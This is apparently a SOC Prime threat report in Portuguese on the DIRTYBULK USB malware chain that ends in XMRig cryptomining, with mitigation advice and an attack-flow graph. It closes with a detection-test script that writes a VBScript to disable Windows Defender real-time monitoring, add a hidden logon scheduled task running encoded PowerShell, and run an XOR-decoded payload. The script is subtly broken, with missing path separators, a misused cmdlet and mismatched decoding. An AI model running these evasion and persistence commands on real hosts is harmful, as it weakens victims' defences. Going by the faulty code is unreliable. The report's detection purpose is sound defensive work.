SOC Prime Bias: Médio

02 Dez 2025 20:53

DIRTYBULK e Amigos: Malware USB Alimentando Operações de Mineração de Criptomoedas

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Follow
DIRTYBULK e Amigos: Malware USB Alimentando Operações de Mineração de Criptomoedas
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumo

O relatório detalha uma campanha de infecção dirigida por USB que utiliza arquivos de atalho maliciosos para entregar uma cadeia de malware em múltiplos estágios para mineração de criptomoedas. A execução inicial carrega um DLL chamado printui.dll de um diretório falso System32, depois transfere para um dropper (CUTFAIL), que implanta ainda um downloader (HIGHREPS) e uma backdoor (PUMPBENCH). A backdoor PUMPBENCH se comunica com um servidor PostgreSQL para buscar cargas adicionais e, por fim, lança mineradores XMRig. A operação mantém persistência através de exclusões do Windows Defender, tarefas agendadas e serviços fraudulentos.

Análise

Pesquisadores da Mandiant desconstruíram a cadeia de ataque e destacaram quatro principais famílias de malware: DIRTYBULK, CUTFAIL, HIGHREPS e PUMPBENCH. Eles capturaram os padrões de nomeação de arquivos dos atores, o abuso de carregamento de DLL do printui.dll, alterações no registro e indicadores de rede associados. A análise também traçou técnicas de persistência, incluindo tarefas agendadas e serviços vinculados ao Grupo de Serviços DCOMLaunch.

Mitigação

As defesas recomendadas incluem bloquear a execução de arquivos de atalho originários de mídias removíveis, monitorar comandos que adicionam exclusões ao Windows Defender, detectar atividades suspeitas de carregamento lateral do printui.dll e buscar serviços ou tarefas agendadas que usam nomes aleatórios de seis dígitos. Aplicar controles de rede contra domínios maliciosos conhecidos e resolvedores DoH pode limitar ainda mais os canais de comando e controle.

Resposta

Uma vez detectado, isole o host impactado, remova o DLL malicioso e componentes relacionados, exclua as entradas de serviço e tarefa agendada ofensivas, e restaure as configurações do Windows Defender limpando as exclusões. Realize uma varredura forense abrangente para descobrir cargas residuais e rastreie conexões para a infraestrutura identificada de C2 PostgreSQL. Finalmente, atualize o conteúdo de detecção para cobrir o uso observado de linha de comando e comportamentos de criação de arquivos.

graph TB %% Class Definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef file fill:#ffff99 classDef process fill:#ff9999 classDef service fill:#ccffcc classDef command fill:#dddddd classDef malware fill:#ffb6c1 %% Initial infection via removable media node_usb_insert[“<b>Ação</b> – <b>T1674 Injeção de Entrada</b>: Vítima insere USB contendo atalho malicioso”] class node_usb_insert action node_lnk[“<b>Arquivo</b> – <b>Atalho Malicioso</b> (USB Drive.lnk)”] class node_lnk file node_wscript[“<b>Ferramenta</b> – <b>wscript.exe</b>: Executa VBScript”] class node_wscript tool node_vbs[“<b>Arquivo</b> – <b>VBScript</b> (x??????.vbs)”] class node_vbs file node_shortcut_mod[“<b>Ação</b> – <b>T1547.009 Modificação de Atalho</b>: LNK usado para persistência”] class node_shortcut_mod action %% Masquerading and side‑loading node_masq_dir[“<b>Arquivo</b> – <b>Diretório Falso</b> C:\\Windows<space>\\System32 (espaço final)”] class node_masq_dir file node_printui_exe[“<b>Processo</b> – <b>printui.exe</b> (legítimo)”] class node_printui_exe process node_printui_dll[“<b>Arquivo</b> – <b>printui.dll</b> (malicioso)”] class node_printui_dll file node_dll_hijack[“<b>Ação</b> – <b>T1574.001 Sequestro do Fluxo de Execução: DLL</b>”] class node_dll_hijack action %% Defense evasion via PowerShell profile node_ps_exclusion[“<b>Comando</b> – Add‑MpPreference -ExclusionPath \”C:\\Windows <space>\””] class node_ps_exclusion command node_ps_profile[“<b>Ação</b> – <b>T1546.013 Perfil do PowerShell</b>: Executa comando de exclusão”] class node_ps_profile action %% Persistence through service and scheduled task node_service_create[“<b>Ação</b> – <b>T1543.003 Criar Serviço do Windows</b>”] class node_service_create action node_service[“<b>Serviço</b> – <b>123456</b> criado sob DcomLaunch com ServiceDll”] class node_service service node_scheduled_task[“<b>Comando</b> – schtasks /create /tn \”console_zero\” /sc ONLOGON /tr \”C:\\Windows\\System32\\console_zero.exe\” /rl HIGHEST /f”] class node_scheduled_task command node_task_action[“<b>Ação</b> – <b>T1037.001 Script de Logon</b>: Executa console_zero.exe no logon do usuário”] class node_task_action action %% C2 resolution via DoH and fast flux node_doh[“<b>Ferramenta</b> – Consultas DNS‑over‑HTTPS para dns.google”] class node_doh tool node_fastflux[“<b>Ação</b> – <b>T1568.001 DNS Fast Flux</b> e <b>T1568.003 Cálculo de DNS</b>”] class node_fastflux action %% Resource hijacking – cryptocurrency mining node_xmrig[“<b>Malware</b> – Minerador XMRig”] class node_xmrig malware node_mining[“<b>Ação</b> – <b>T1496.001 Sequestro de Recursos</b>: Criptomineração no host comprometido”] class node_mining action %% Connections node_usb_insert –>|contém| node_lnk node_lnk –>|executa| node_wscript node_wscript –>|executa| node_vbs node_vbs –>|cria diretório de mascaramento| node_masq_dir node_vbs –>|copia executável legítimo| node_printui_exe node_vbs –>|substitui DLL por versão maliciosa| node_printui_dll node_printui_exe –>|carrega| node_dll_hijack node_dll_hijack –>|carrega DLL maliciosa| node_printui_dll node_printui_dll –>|aciona| node_ps_exclusion node_ps_exclusion –>|executado via| node_ps_profile node_ps_profile –>|cria| node_service_create node_service_create –>|cria| node_service node_service –>|habilita| node_scheduled_task node_scheduled_task –>|executa no logon| node_task_action node_task_action –>|baixa endereço C2 via| node_doh node_doh –>|usa| node_fastflux node_fastflux –>|fornece endereço para| node_xmrig node_xmrig –>|executa| node_mining

Fluxo de Ataque

Execução de Simulação

Pré-requisito: Verificação de Pré-vôo de Telemetria & Base deve ter passado.

Justificativa: Esta seção detalha a execução precisa da técnica adversária (TTP) projetada para disparar a regra de detecção. Os comandos e narrativas DEVEM refletir diretamente os TTPs identificados e visar gerar a telemetria exata esperada pela lógica de detecção. Exemplos abstratos ou não relacionados levarão a diagnóstico incorreto.

  • Narrativa & Comandos do Ataque:

    1. Etapa 1 – Soltar VBScript malicioso no drive USB comprometido (por exemplo, E:payload.vbs). O script desativa a proteção em tempo real do Windows Defender usando Add‑MpPreference, criptografa uma carga com uma rotina XOR, e cria uma tarefa agendada para persistência.

    2. Etapa 2 – Execute o script via wscript.exe passando a linha de comando de persistência diretamente (para satisfazer a condição conjuntiva da regra).

    3. Etapa 3 – O script internamente invoca o PowerShell para executar a carga criptografada, demonstrando a “cadeia de infecção”.

    4. Etapa 4 – Após a execução, o atacante limpa os artefatos (remove o script, apaga a tarefa agendada).

  • Script de Teste de Regressão:

    # ------------------------------------------------------------
    # Teste de Regressão – Simulação da Cadeia de Infecção por Malware
    # ------------------------------------------------------------
    $scriptPath = "$env:TEMPpayload.vbs"
    $taskName  = "WinUpdateTask"
    $xorKey    = 0x5A
    
    # -- 1. Criar carga falsa criptografada com XOR --------------------------------
    $plainPayload = "calc.exe"
    $bytes = [System.Text.Encoding]::Unicode.GetBytes($plainPayload)
    for ($i = 0; $i -lt $bytes.Length; $i++) {
        $bytes[$i] = $bytes[$i] -bxor $xorKey
    }
    $encrypted = [Convert]::ToBase64String($bytes)
    
    # -- 2. Escrever VBScript malicioso -------------------------------------------
    @"
    ' VBScript malicioso – cadeia de infecção
    Set sh = CreateObject("WScript.Shell")
    ' Desativar a proteção em tempo real
    sh.Run "powershell -Command `"Add-MpPreference -DisableRealtimeMonitoring $true`"", 0, True
    
    ' Criar tarefa agendada para persistência
    sh.Run "schtasks /Create /SC ONLOGON /TN $taskName /TR `"powershell -EncodedCommand $([Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('Start-Process `"$env:windirsystem32cmd.exe`" /c echo $encrypted ^| powershell -EncodedCommand'))`"", 0, True
    
    ' Decriptar e executar carga
    Dim encData, decData, i
    encData = "$encrypted"
    decData = ""
    For i = 1 To Len(encData) Step 4
        ch = ChrW(CInt("&H" & Mid(encData, i, 4)) Xor $xorKey)
        decData = decData & ch
    Next
    sh.Run decData, 0, False
    "@ | Set-Content -Encoding ASCII $scriptPath
    
    # -- 3. Executar o script via wscript.exe (aciona a regra) -------------
    wscript.exe "$scriptPath" /B
    
    # -- 4. (Opcional) Aguarde alguns segundos para que a tarefa seja disparada ----------------
    Start-Sleep -Seconds 10
    
    # ------------------------------------------------------------
    # Limpeza – remover script e tarefa agendada
    # ------------------------------------------------------------
    Remove-Item $scriptPath -Force
    schtasks /Delete /TN $taskName /F
  • Comandos de Limpeza:

    # Remover tarefa agendada residual (se ainda presente)
    schtasks /Delete /TN "WinUpdateTask" /F
    
    # Remover quaisquer arquivos de script remanescentes
    Remove-Item "$env:TEMPpayload.vbs" -ErrorAction SilentlyContinue
    
    # Reativar proteção em tempo real
    powershell -Command "Add-MpPreference -DisableRealtimeMonitoring $false"